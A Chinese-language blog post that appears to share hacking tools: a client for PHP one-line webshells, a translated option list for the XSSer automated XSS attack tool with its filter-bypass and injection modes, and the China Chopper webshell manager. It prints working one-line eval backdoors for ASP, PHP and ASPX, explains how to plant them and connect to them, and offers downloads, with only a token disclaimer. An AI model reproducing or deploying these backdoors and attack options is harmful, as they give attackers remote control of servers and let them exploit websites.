前言       这款lanker是php一句话木马连接的客户端，也是比较早的版本了，现在很多工具都能秒杀替代，不过还是分享出来吧，怎么说当年风靡一时的。说起这个php客户端不得不说当时国内最大的黑客培训基地 - 黑鹰，后来的站长不知道因为犯了什么事网站被强行关停，也有人说被招安了，国外当时评论黑鹰坠落，后期我会专门花篇幅来写写当年的黑鹰。 演示下载 

前言      XSS是一种我们经常可以看到的的漏洞类型，它的影响非常广泛而且很容易就可以被检测出来。而xsser则是一款国外的漏洞自动化攻击工具，堪称神器，可用以xss漏洞的自动化检测和攻击，且支持多个平台运行。 运行环境 XSSer支持多平台运行。它需要Python和以下库：- python-pycurl - Python bindings to libcurl - python-xmlbuilder - create xml/(x)html files - Python 2.x - python-beautifulsoup - error-tolerant HTML parser for Python - python-geoip - Python bindings for the GeoIP IP-to-country resolver library使用说明 Options:  --version             显示程序的版本号  -h, --help             显示帮助信息  -s, --statistics     显示高级显示输出结果  -v, --verbose       激活冗余模式输出结果  --gtk                     加载 XSSer GTK 接口  *特别的用法*:    你可以选择 Vector(s) 和 Bypasser(s) 结合特殊的用法来注入代码：    --imx=IMX           利用XSS代码植入来创建一个假的图象    --fla=FLASH       利用XSS代码植入来创建一个假的swf  *选择目标*:    至少有一个选择必须被指定来设置来源以获得目标(s)的url。. 你需要选择然后运行XSSer:    -u URL, --url=URL    键入目标URL进行分析    -i READFILE            从一个文件中读取URL    -d DORK                   利用搜索引擎傻瓜式的搜索URL    --De=DORK_ENGINE    傻瓜式的利用搜索引擎 (bing, altavista,yahoo, baidu, yandex, youdao, webcrawler, ask, etc.查看 dork.py 文件来核对有效的搜索引擎)  *现则HTTP/HTTPS的连接类型*:    These options can be used to specify which parameter(s) we want to use    like payload to inject code.    -g GETDATA            输入一个负荷来进行审计，使用 GET参数 (例如: '/menu.php?q=')    -p POSTDATA         输入一个负荷来进行审计，使用 POST 参数(例如: 'foo=1&bar=')    -c CRAWLING         目标URL的爬行数目(s): 1-99999    --Cw=CRAWLER_WIDTH  爬行深度: 1-5    --Cl                            本地目标URL爬行 (默认 TRUE)  *安装 请求*:    这些选项被用来制定如何攻击目标和使用负荷. 你有多重选择:    --cookie=COOKIE     改变你的HTTP Cookie header    --user-agent=AGENT  改变你的 HTTP User-Agent header (默认 SPOOFED)    --referer=REFERER   使用别的HTTP Referer header (默认 NONE)    --headers=HEADERS   额外的 HTTP headers 换行隔开    --auth-type=ATYPE   HTTP 认证类型 (基本值类型或者摘要)    --auth-cred=ACRED   HTTP 认证证书 (值 name:password)    --proxy=PROXY       使用代理服务器 (tor:http://localhost:8118)    --timeout=TIMEOUT   设定时间延迟 (默认 30)    --delay=DELAY       设定每一个 HTTP request值 (默认 8)    --threads=THREADS   最大数目的 HTTP requests并发 (默认 5)    --retries=RETRIES   连接超时重试 (默认 3)  *系统验校器*:    这些选项对于有过滤器的XSS 攻击很有效 和或者重复所利用的代码:    --hash                如果目标重复内容，则每次检测hash                               (对预知可能错误的结果非常有用)    --heuristic         启发式的设置才检测那些脚本会被过滤: ;\/<>"'=  *选择 攻击向量(s)*:    这些选项被用在特殊的 XSS 向量源代码来注入到每一个负荷中。非常重要的, 如果你不想尝试通用的XSS注入代码, 请使用默认参数. 只有一个选项:    --payload=SCRIPT    OWN  - 插入你手动构造的XSS 语句-    --auto              AUTO - 从文件中插入 XSSer '报告' 向量  *选择 Bypasser(s)*:    这些选项用来编码所选择的攻击向量，如果目标使用反XSS过滤器代码和IPS规则，则尝试绕过所有的目标上的反XSS 过滤器代码和入侵防御系统规则， . 总之, 能结合其他的技巧 来提供编码:    --Str                 使用 String.FromCharCode()方法    --Une               使用 Unescape() 函数    --Mix                最小的 String.FromCharCode() 函数 和 Unescape()函数    --Dec               使用小数编码    --Hex               使用16进制编码    --Hes               使用带分号的16进制编码    --Dwo              编码IP地址向量为双字节    --Doo               编码IP地址向量为八进制    --Cem=CEM           手动尝试不同的字符编码                        (反向混淆效果更好) -> (例如: 'Mix,Une,Str,Hex')  *特殊的技巧*:    这些选项被用来尝试不同的XSS 技巧. 你可以进行多重选择:    --Coo               COO - 跨站脚本Cookies注入    --Xsa                XSA -   跨站Agent 脚本    --Xsr                 XSR -    跨站 Referer 脚本    --Dcp               DCP - DCP注入    --Dom              DOM - DOM注入    --Ind                 IND - HTTP 包含代码的快速响应    --Anchor           ANC - 使用影子攻击负荷 (DOM 影子!)  *Select Final injection(s)*:    这些选项在攻击目标中用于特殊代码注入 Important, if you want to exploit on-the-wild    your discovered vulnerabilities. Choose only one option:    --Fp=FINALPAYLOAD   OWN    - 手动插入注入代码-    --Fr=FINALREMOTE    REMOTE - 远程插入注入代码    --Doss              DOSs   - XSS 对服务端的拒绝服务攻击注入    --Dos               DOS    - XSS 对客户端的拒绝服务攻击注入    --B64               B64    - META标签 Base64编码(rfc2397)  *Special Final injection(s)*:    These options can be used to execute some 'special' injection(s) in    vulnerable target(s). You can select multiple and combine with your    final code (except with DCP code):    --Onm             ONM - 使用 MouseMove() 事件注入代码    --Ifr                   IFR - 使用 <iframe>资源标签注入代码  *混杂模式*:    --silent              禁止控制台输出结果    --update            检查XSSer 最新稳定版本    --save                直接输入结果到模版文件 (XSSlist.dat)    --xml=FILEXML 输出 'positives'到一个XML文件 (--xml filename.xml)    --publish             输出 'positives'本地网络 (identi.ca)    --short=SHORTURLS   显示最后的短代码 (tinyurl, is.gd)    --launch              发现的每个XSS都在浏览器进行测试演示下载 

菜刀背景       中国菜刀是一款专业的网站管理软件，用途广泛，使用方便，小巧实用。只要支持动态脚本的网站，都可以用中国菜刀来进行管理！在非简体中文环境下使用，自动切换到英文界面。 UINCODE方式编译，支持多国语言输入显示。(引用于百度百科中国菜刀 _百度百科)       作者: 说起菜刀，就不得不提起菜刀的作者，作者是一个退伍军人，生长在一个贫穷的农村，据说初中也没读完，英语更是不咋地，但他却自学掌握了 C++/J2ME/PHP/JSP/ASP.NET(C#,VB,C++,delphi,J#)/ASP/MySQL/MsSQL/Oracle/Informix/PostgreSQL/DB2/Sybase/Access/UNIX/LINUX/WIN/SEO/Flash(AS)/PhotoShop/Freehand 等等。当初在六七年前台湾闹独立的时候，他在国民党和民进党的网站上留下了“只有一个中国”的黑页，一举成名。 作者是一个朴实，低调的技术牛人，他这些年留下的作品很多，中国菜刀是他最新的一个作品，从他之前的作品WEBSHELL管理器的基础上修改而来，功能更加的强大。 你见过很强大的ASP后门，很强大的PHP后门，很强大的ASPX后门，那你见过很强大的asp,aspx,php三合一后门么……..，没有吧，尤其是这个后门，只有一句话。        Asp环境：<%eval request(“a”)%>        Php环境：<?php @eval($_POST[‘a’]);?>        Aspx环境：<% @page Language=”Jscript”><%eval(Request.item[“a”],”unsafe”);%>    使用方法1，右键空白处，点击添加 2，添加SHELL -> 进行相关的配置。（切记，一句话木马一定要插对）     例如： 地址：http://localhost/a.php  密码： key  脚本类型： PHP 3，最后 ->点击添加，即可进入我们的webshell文件管理页面，我们便可以对相关的文件进行增添删改。        当然，中国菜刀的强大之处远远不是简单的文件管理这么简单，最恐怖的是近乎齐全的功能包括数据库管理，虚拟终端，网站扫描等等，这些大家自行研究就可以了，作为中国渗透工具之父，中国菜刀的强大远远超乎你的想象。但是众所周知的是菜刀很久都没有进行维护更新了，而网传的版本大部分都是后来加过后门的，虽然无可厚非，但是谁都希望自己的东西是纯净的，所以鹦鹉博客分享一款目前可用的纯净版本的菜刀工具。       注：切勿用于违法用途，解压密码：www.15qq.cn